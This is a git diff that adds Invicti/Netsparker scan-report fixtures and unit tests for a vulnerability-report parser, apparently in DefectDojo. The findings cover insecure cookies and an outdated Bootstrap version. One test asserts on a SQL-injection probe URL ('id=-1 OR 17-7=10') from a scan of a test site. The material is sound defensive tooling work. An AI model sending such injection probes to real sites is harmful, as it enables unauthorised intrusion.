0820:594C:6A9400:84F805:5C7AFA26\r\nVary: Accept-Encoding\r\nVia: 1.1 varnish\r\nLast-Modified: Wed, 05 Sep 2018 12:58:17 GMT\r\nContent-Type: text/html; charset=utf-8\r\nServer: GitHub.com\r\nDate: Sat, 02 Mar 2019 21:48:24 GMT\r\nContent-Encoding: \r\n\r\n" + }, + "ExtraInformation": [ + { + "Name": "Identified Cookie(s)", + "Value": "cookieconsent_status" + }, + { + "Name": "Cookie Source", + "Value": "JavaScript" + } + ], + "KnownVulnerabilities": [ ], + "Description": "

Netsparker identified a cookie not marked as secure, and transmitted over HTTPS.

This means the cookie could potentially be stolen by an attacker who can successfully intercept and decrypt the traffic, or following a successful man-in-the-middle attack.

", + "Impact": "
This cookie will be transmitted over a HTTP connection, therefore if this cookie is important (such as a session cookie), an attacker might intercept it and hijack a victim's session. If the attacker can carry out a man-in-the-middle attack, he/she can force the victim to make an HTTP request to steal the cookie.
", + "RemedialActions": "
  1. See the remedy for solution.
  2. Mark all cookies used within the application as secure. (If the cookie is not related to authentication or does not carry any personal information, you do not have to mark it as secure.)
", + "ExploitationSkills": "
To exploit this issue, the attacker needs to be able to intercept traffic. This generally requires local access to the web server or to the victim's network. Attackers need to be understand layer 2, have physical access to systems either as waypoints for the traffic, or have locally gained access to to a system between the victim and the web server.
", + "RemedialProcedure": "
Mark all cookies used within the application as secure.
", + "RemedyReferences": "", + "ExternalReferences": "
", + "ProofOfConcept": "" + }, + { + "Url": "https://www.sampleweb.org/", + "Type": "BootstrapjsOutOfDate", + "Name": "Out-of-date Version (Bootstrap)", + "Severity": "Medium", + "Certainty": 90, + "Confirmed": false, + "Classification": { + "Owasp": "A9", + "Owasp2017": "A9", + "Wasc": null, + "Cwe": null, + "Capec": "310", + "Pci31": "6.2", + "Pci32": "6.2", + "Hipaa": null + }, + "HttpRequest": { + "Method": "GET", + "Content": "GET / HTTP/1.1\r\nHost: www.sampleweb.org\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-us,en;q=0.5\r\nCache-Control: no-cache\r\nUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)\r\nX-Scanner: Netsparker\r\n\r\n", + "Parameters": [ ] + }, + "HttpResponse": { + "StatusCode": 200, + "Duration": 644.6389, + "Content": "HTTP/1.1 200 OK\r\nX-Cache: MISS\r\nX-Timer: S1551563304.277046,VS0,VE20\r\nAge: 0\r\nCache-Control: max-age=600\r\nETag: W/\"5b8fd2e9-6807\"\r\nAccess-Control-Allow-Origin: *\r\nX-Fastly-Request-ID: 0345654a04250c6d1c420d386643c1f6dc7c3c24\r\nX-Served-By: cache-chi21166-CHI\r\nConnection: keep-alive\r\nExpires: Sat, 02 Mar 2019 21:58:24 GMT\r\nAccept-Ranges: bytes\r\nX-Cache-Hits: 0\r\nContent-Length: 5954\r\nX-GitHub-Request-Id: 0820:594C:6A9400:84F805:5C7AFA26\r\nVary: Accept-Encoding\r\nVia: 1.1 varnish\r\nLast-Modified: Wed, 05 Sep 2018 12:58:17 GMT\r\nContent-Type: text/html; charset=utf-8\r\nServer: GitHub.com\r\nDate: Sat, 02 Mar 2019 21:48:24 GMT\r\nContent-Encoding: \r\n\r\n" + }, + "ExtraInformation": [ + { + "Name": "Identified Version", + "Value": "4.0.0" + }, + { + "Name": "Latest Version", + "Value": "4.3.1" + }, + { + "Name": "Vulnerability Database", + "Value": "Result is based on 3/1/2019 vulnerability database content." + } + ], + "KnownVulnerabilities": [ + { + "Title": "bootstrap.js Cross-Site Scripting (XSS) Vulnerability", + "Severity": "Medium" + }, + { + "Title": "bootstrap.js Cross-Site Scripting (XSS) Vulnerability", + "Severity": "Medium" + }, + { + "Title": "bootstrap.js Cross-Site Scripting (XSS) Vulnerability", + "Severity": "Medium" + }, + { + "Title": "bootstrap.js Cross-Site Scripting (XSS) Vulnerability", + "Severity": "Medium" + } + ], + "Description": "

Netsparker identified that the target web site is using Bootstrap and detected that it is out of date.

", + "Impact": "
Since this is an old version of the software, it may be vulnerable to attacks.
", + "RemedialActions": "", + "ExploitationSkills": "", + "RemedialProcedure": "
\n

Please upgrade your installation of Bootstrap to the latest stable version.

\n
", + "RemedyReferences": "
", + "ExternalReferences": "", + "ProofOfConcept": "" + }, + { + "Url": "https://www.sampleweb.org/", + "Type": "CookieNotMarkedAsHttpOnly", + "Name": "Cookie Not Marked as HttpOnly", + "Severity": "Low", + "Certainty": 100, + "Confirmed": true, + "Classification": { + "Owasp": "A5", + "Owasp2017": "A6", + "Wasc": "15", + "Cwe": "16", + "Capec": "107", + "Pci31": null, + "Pci32": null, + "Hipaa": null + }, + "HttpRequest": { + "Method": "GET", + "Content": "GET / HTTP/1.1\r\nHost: www.sampleweb.org\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-us,en;q=0.5\r\nCache-Control: no-cache\r\nUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)\r\nX-Scanner: Netsparker\r\n\r\n", + "Parameters": [ ] + }, + "HttpResponse": { + "StatusCode": 200, + "Duration": 644.6389, + "Content": null + }, + "ExtraInformation": [ + { + "Name": "Identified Cookie(s)", + "Value": "cookieconsent_status" + }, + { + "Name": "Cookie Source", + "Value": "JavaScript" + } + ], + "KnownVulnerabilities": [ ], + "Description": "

Netsparker identified a cookie not marked as HTTPOnly.

HTTPOnly cookies cannot be read by client-side scripts, therefore marking a cookie as HTTPOnly can provide an additional layer of protection against cross-site scripting attacks.

", + "Impact": "
During a cross-site scripting attack, an attacker might easily access cookies and hijack the victim's session.
", + "RemedialActions": "
  1. See the remedy for solution.
  2. Consider marking all of the cookies used by the application as HTTPOnly. (After these changes javascript code will not be able to read cookies.)
", + "ExploitationSkills": "", + "RemedialProcedure": "
Mark the cookie as HTTPOnly. This will be an extra layer of defense against XSS. However this is not a silver bullet and will not protect the system against cross-site scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.
", + "RemedyReferences": "", + "ExternalReferences": "
", + "ProofOfConcept": "" + } + ] +} \ No newline at end of file diff --git a/unittests/scans/invicti/issue_9816.json b/unittests/scans/invicti/issue_9816.json new file mode 100644 index 0000000000..14f7d15638 --- /dev/null +++ b/unittests/scans/invicti/issue_9816.json @@ -0,0 +1,173 @@ +{ + "Generated": "03/02/2019 15:50:29 (UTC-06:00)", + "Target": { + "ScanId": "fg49hk5", + "Url": "https://www.sampleweb.org/", + "Initiated": "03/02/2019 15:48:23 (UTC-06:00)", + "Duration": "00:01:20.4322725" + }, + "Vulnerabilities": [ + { + "Url": "https://www.sampleweb.org/", + "Type": "CookieNotMarkedAsSecure", + "Name": "Cookie Not Marked as Secure", + "Severity": "High", + "Certainty": 100, + "Confirmed": true, + "Classification": { + "Owasp": "A6", + "Owasp2017": "A3", + "Wasc": "15", + "Cwe": "614", + "Capec": "102", + "Pci31": "6.5.10", + "Pci32": "6.5.10", + "Hipaa": null + }, + "HttpRequest": { + "Method": "GET", + "Content": "GET / HTTP/1.1\r\nHost: www.sampleweb.org\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-us,en;q=0.5\r\nCache-Control: no-cache\r\nUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)\r\nX-Scanner: Netsparker\r\n\r\n", + "Parameters": [ ] + }, + "HttpResponse": { + "StatusCode": 200, + "Duration": 644.6389, + "Content": "HTTP/1.1 200 OK\r\nX-Cache: MISS\r\nX-Timer: S1551563304.277046,VS0,VE20\r\nAge: 0\r\nCache-Control: max-age=600\r\nETag: W/\"5b8fd2e9-6807\"\r\nAccess-Control-Allow-Origin: *\r\nX-Fastly-Request-ID: 0345654a04250c6d1c420d386643c1f6dc7c3c24\r\nX-Served-By: cache-chi21166-CHI\r\nConnection: keep-alive\r\nExpires: Sat, 02 Mar 2019 21:58:24 GMT\r\nAccept-Ranges: bytes\r\nX-Cache-Hits: 0\r\nContent-Length: 5954\r\nX-GitHub-Request-Id: 0820:594C:6A9400:84F805:5C7AFA26\r\nVary: Accept-Encoding\r\nVia: 1.1 varnish\r\nLast-Modified: Wed, 05 Sep 2018 12:58:17 GMT\r\nContent-Type: text/html; charset=utf-8\r\nServer: GitHub.com\r\nDate: Sat, 02 Mar 2019 21:48:24 GMT\r\nContent-Encoding: \r\n\r\n" + }, + "ExtraInformation": [ + { + "Name": "Identified Cookie(s)", + "Value": "cookieconsent_status" + }, + { + "Name": "Cookie Source", + "Value": "JavaScript" + } + ], + "KnownVulnerabilities": [ ], + "Description": "

Netsparker identified a cookie not marked as secure, and transmitted over HTTPS.

This means the cookie could potentially be stolen by an attacker who can successfully intercept and decrypt the traffic, or following a successful man-in-the-middle attack.

", + "Impact": "
This cookie will be transmitted over a HTTP connection, therefore if this cookie is important (such as a session cookie), an attacker might intercept it and hijack a victim's session. If the attacker can carry out a man-in-the-middle attack, he/she can force the victim to make an HTTP request to steal the cookie.
", + "RemedialActions": "
  1. See the remedy for solution.
  2. Mark all cookies used within the application as secure. (If the cookie is not related to authentication or does not carry any personal information, you do not have to mark it as secure.)
", + "ExploitationSkills": "
To exploit this issue, the attacker needs to be able to intercept traffic. This generally requires local access to the web server or to the victim's network. Attackers need to be understand layer 2, have physical access to systems either as waypoints for the traffic, or have locally gained access to to a system between the victim and the web server.
", + "RemedialProcedure": "
Mark all cookies used within the application as secure.
", + "RemedyReferences": "", + "ExternalReferences": "
", + "ProofOfConcept": "" + }, + { + "Url": "https://www.sampleweb.org/", + "Type": "BootstrapjsOutOfDate", + "Name": "Out-of-date Version (Bootstrap)", + "Severity": "Medium", + "Certainty": 90, + "Confirmed": false, + "Classification": { + "Owasp": "A9", + "Owasp2017": "A9", + "Wasc": null, + "Cwe": null, + "Capec": "310", + "Pci31": "6.2", + "Pci32": "6.2", + "Hipaa": null + }, + "HttpRequest": { + "Method": "GET", + "Content": "GET / HTTP/1.1\r\nHost: www.sampleweb.org\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-us,en;q=0.5\r\nCache-Control: no-cache\r\nUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)\r\nX-Scanner: Netsparker\r\n\r\n", + "Parameters": [ ] + }, + "HttpResponse": { + "StatusCode": 200, + "Duration": 644.6389, + "Content": "HTTP/1.1 200 OK\r\nX-Cache: MISS\r\nX-Timer: S1551563304.277046,VS0,VE20\r\nAge: 0\r\nCache-Control: max-age=600\r\nETag: W/\"5b8fd2e9-6807\"\r\nAccess-Control-Allow-Origin: *\r\nX-Fastly-Request-ID: 0345654a04250c6d1c420d386643c1f6dc7c3c24\r\nX-Served-By: cache-chi21166-CHI\r\nConnection: keep-alive\r\nExpires: Sat, 02 Mar 2019 21:58:24 GMT\r\nAccept-Ranges: bytes\r\nX-Cache-Hits: 0\r\nContent-Length: 5954\r\nX-GitHub-Request-Id: 0820:594C:6A9400:84F805:5C7AFA26\r\nVary: Accept-Encoding\r\nVia: 1.1 varnish\r\nLast-Modified: Wed, 05 Sep 2018 12:58:17 GMT\r\nContent-Type: text/html; charset=utf-8\r\nServer: GitHub.com\r\nDate: Sat, 02 Mar 2019 21:48:24 GMT\r\nContent-Encoding: \r\n\r\n" + }, + "ExtraInformation": [ + { + "Name": "Identified Version", + "Value": "4.0.0" + }, + { + "Name": "Latest Version", + "Value": "4.3.1" + }, + { + "Name": "Vulnerability Database", + "Value": "Result is based on 3/1/2019 vulnerability database content." + } + ], + "KnownVulnerabilities": [ + { + "Title": "bootstrap.js Cross-Site Scripting (XSS) Vulnerability", + "Severity": "Medium" + }, + { + "Title": "bootstrap.js Cross-Site Scripting (XSS) Vulnerability", + "Severity": "Medium" + }, + { + "Title": "bootstrap.js Cross-Site Scripting (XSS) Vulnerability", + "Severity": "Medium" + }, + { + "Title": "bootstrap.js Cross-Site Scripting (XSS) Vulnerability", + "Severity": "Medium" + } + ], + "Description": "

Netsparker identified that the target web site is using Bootstrap and detected that it is out of date.

", + "Impact": "
Since this is an old version of the software, it may be vulnerable to attacks.
", + "RemedialActions": "", + "ExploitationSkills": "", + "RemedialProcedure": "
\n

Please upgrade your installation of Bootstrap to the latest stable version.

\n
", + "RemedyReferences": "
", + "ExternalReferences": "", + "ProofOfConcept": "" + }, + { + "Url": "https://www.sampleweb.org/", + "Type": "CookieNotMarkedAsHttpOnly", + "Name": "Cookie Not Marked as HttpOnly", + "Severity": "Low", + "Certainty": 100, + "Confirmed": true, + "Classification": { + "Owasp": "A5", + "Owasp2017": "A6", + "Wasc": "15", + "Cwe": "16", + "Capec": "107", + "Pci31": null, + "Pci32": null, + "Hipaa": null + }, + "HttpRequest": { + "Method": "GET", + "Content": "GET / HTTP/1.1\r\nHost: www.sampleweb.org\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-us,en;q=0.5\r\nCache-Control: no-cache\r\nUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)\r\nX-Scanner: Netsparker\r\n\r\n", + "Parameters": [ ] + }, + "HttpResponse": { + "StatusCode": 200, + "Duration": 644.6389, + "Content": "HTTP/1.1 200 OK\r\nX-Cache: MISS\r\nX-Timer: S1551563304.277046,VS0,VE20\r\nAge: 0\r\nCache-Control: max-age=600\r\nETag: W/\"5b8fd2e9-6807\"\r\nAccess-Control-Allow-Origin: *\r\nX-Fastly-Request-ID: 0345654a04250c6d1c420d386643c1f6dc7c3c24\r\nX-Served-By: cache-chi21166-CHI\r\nConnection: keep-alive\r\nExpires: Sat, 02 Mar 2019 21:58:24 GMT\r\nAccept-Ranges: bytes\r\nX-Cache-Hits: 0\r\nContent-Length: 5954\r\nX-GitHub-Request-Id: 0820:594C:6A9400:84F805:5C7AFA26\r\nVary: Accept-Encoding\r\nVia: 1.1 varnish\r\nLast-Modified: Wed, 05 Sep 2018 12:58:17 GMT\r\nContent-Type: text/html; charset=utf-8\r\nServer: GitHub.com\r\nDate: Sat, 02 Mar 2019 21:48:24 GMT\r\nContent-Encoding: \r\n\r\n" + }, + "ExtraInformation": [ + { + "Name": "Identified Cookie(s)", + "Value": "cookieconsent_status" + }, + { + "Name": "Cookie Source", + "Value": "JavaScript" + } + ], + "KnownVulnerabilities": [ ], + "Description": "

Netsparker identified a cookie not marked as HTTPOnly.

HTTPOnly cookies cannot be read by client-side scripts, therefore marking a cookie as HTTPOnly can provide an additional layer of protection against cross-site scripting attacks.

", + "Impact": "
During a cross-site scripting attack, an attacker might easily access cookies and hijack the victim's session.
", + "RemedialActions": "
  1. See the remedy for solution.
  2. Consider marking all of the cookies used by the application as HTTPOnly. (After these changes javascript code will not be able to read cookies.)
", + "ExploitationSkills": "", + "RemedialProcedure": "
Mark the cookie as HTTPOnly. This will be an extra layer of defense against XSS. However this is not a silver bullet and will not protect the system against cross-site scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.
", + "RemedyReferences": "", + "ExternalReferences": "
", + "ProofOfConcept": "" + } + ] +} \ No newline at end of file diff --git a/unittests/tools/test_invicti_parser.py b/unittests/tools/test_invicti_parser.py new file mode 100644 index 0000000000..aca5bfadd7 --- /dev/null +++ b/unittests/tools/test_invicti_parser.py @@ -0,0 +1,98 @@ +from dojo.models import Test +from dojo.tools.invicti.parser import InvictiParser +from unittests.dojo_test_case import DojoTestCase + + +class TestInvictiParser(DojoTestCase): + + def test_parse_file_with_one_finding(self): + with open("unittests/scans/invicti/invicti_one_finding.json", encoding="utf-8") as testfile: + parser = InvictiParser() + findings = parser.get_findings(testfile, Test()) + self.assertEqual(1, len(findings)) + for finding in findings: + for endpoint in finding.unsaved_endpoints: + endpoint.clean() + with self.subTest(i=0): + finding = findings[0] + self.assertEqual("Medium", finding.severity) + self.assertEqual(16, finding.cwe) + self.assertEqual("25/06/2021", finding.date.strftime("%d/%m/%Y")) + self.assertIsNotNone(finding.description) + self.assertGreater(len(finding.description), 0) + self.assertEqual("CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N/E:H/RL:O/RC:C", finding.cvssv3) + self.assertEqual(1, len(finding.unsaved_endpoints)) + endpoint = finding.unsaved_endpoints[0] + self.assertEqual(str(endpoint), "http://php.testsparker.com/auth/login.php") + + def test_parse_file_with_multiple_finding(self): + with open("unittests/scans/invicti/invicti_many_findings.json", encoding="utf-8") as testfile: + parser = InvictiParser() + findings = parser.get_findings(testfile, Test()) + self.assertEqual(16, len(findings)) + for finding in findings: + for endpoint in finding.unsaved_endpoints: + endpoint.clean() + with self.subTest(i=0): + finding = findings[0] + self.assertEqual("Medium", finding.severity) + self.assertEqual(16, finding.cwe) + self.assertEqual("25/06/2021", finding.date.strftime("%d/%m/%Y")) + self.assertIsNotNone(finding.description) + self.assertGreater(len(finding.description), 0) + self.assertEqual("CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N/E:H/RL:O/RC:C", finding.cvssv3) + self.assertEqual(1, len(finding.unsaved_endpoints)) + endpoint = finding.unsaved_endpoints[0] + self.assertEqual(str(endpoint), "http://php.testsparker.com/auth/login.php") + + with self.subTest(i=1): + finding = findings[1] + self.assertEqual("Critical", finding.severity) + self.assertEqual(89, finding.cwe) + self.assertEqual("25/06/2021", finding.date.strftime("%d/%m/%Y")) + self.assertIsNotNone(finding.description) + self.assertGreater(len(finding.description), 0) + self.assertEqual("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", finding.cvssv3) + self.assertEqual(1, len(finding.unsaved_endpoints)) + endpoint = finding.unsaved_endpoints[0] + self.assertEqual(str(endpoint), "http://php.testsparker.com/artist.php?id=-1%20OR%2017-7=10") + + with self.subTest(i=2): + finding = findings[2] + self.assertEqual("Medium", finding.severity) + self.assertEqual(205, finding.cwe) + self.assertEqual("25/06/2021", finding.date.strftime("%d/%m/%Y")) + self.assertIsNotNone(finding.description) + self.assertGreater(len(finding.description), 0) + self.assertEqual("CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N/E:H/RL:O/RC:C", finding.cvssv3) + self.assertEqual(1, len(finding.unsaved_endpoints)) + endpoint = finding.unsaved_endpoints[0] + self.assertEqual(str(endpoint), "http://php.testsparker.com") + + def test_parse_file_issue_9816(self): + with open("unittests/scans/invicti/issue_9816.json", encoding="utf-8") as testfile: + parser = InvictiParser() + findings = parser.get_findings(testfile, Test()) + self.assertEqual(3, len(findings)) + for finding in findings: + for endpoint in finding.unsaved_endpoints: + endpoint.clean() + with self.subTest(i=0): + finding = findings[0] + self.assertEqual("High", finding.severity) + self.assertEqual(614, finding.cwe) + self.assertEqual("03/02/2019", finding.date.strftime("%d/%m/%Y")) + + def test_parse_file_issue_10311(self): + with open("unittests/scans/invicti/issue_10311.json", encoding="utf-8") as testfile: + parser = InvictiParser() + findings = parser.get_findings(testfile, Test()) + self.assertEqual(3, len(findings)) + for finding in findings: + for endpoint in finding.unsaved_endpoints: + endpoint.clean() + with self.subTest(i=0): + finding = findings[0] + self.assertEqual("High", finding.severity) + self.assertEqual(614, finding.cwe) + self.assertEqual("03/02/2019", finding.date.strftime("%d/%m/%Y"))